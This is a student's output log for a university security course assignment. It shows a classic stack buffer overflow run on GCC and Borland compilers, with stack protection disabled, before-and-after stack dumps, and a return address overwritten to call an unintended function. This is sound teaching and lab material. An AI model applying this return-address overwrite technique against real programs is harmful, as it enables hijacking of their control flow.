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CSCD437
Assignment #2 Output

GCC Compiler
Windows 10 Pro

```
D:\Dev Stuff\CSCD437\Assignment 2\Final Solution>gcc -o StackOvrrun StackOvrrun.c
-fno-stack-protector

D:\Dev Stuff\CSCD437\Assignment 2\Final Solution>perl HackOvrrun.pl
Address of foo = 00000000004015B0
Address of bar = 00000000004015F7
My stack looks like:
00007FFFB391F030
00007FFFB39245A0
000000000062E2B0
0000000000AF1330
0000000000000019
000000000062FE50

ZZZZZZZZZZZZZZZZZZZZ~E@
Now the stack looks like:
00007FFFB391F030
00007FFFB39245A0
000000000062E280
5A5A5A5A5A5A5A5A
5A5A5A5A5A5A5A5A
4015F75A5A5A5A5A

Augh! I've been hacked!

D:\Dev Stuff\CSCD437\Assignment 2\Final Solution>
```

Borland Compiler

Windows 10

```
C:\Users\gavin\Documents\Borland\BufferOverflow>perl HackOvrrun.pl
Address of foo = 00401150
Address of bar = 00401190
My stack looks like:
00000000
0019FF4C
0019FF4C
0019FF4C
004011E8
02122230

ABCDEFGHIJKLMN0PÉ@
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00401190
02122230

Augh! I've been hacked!

C:\Users\gavin\Documents\Borland\BufferOverflow>
```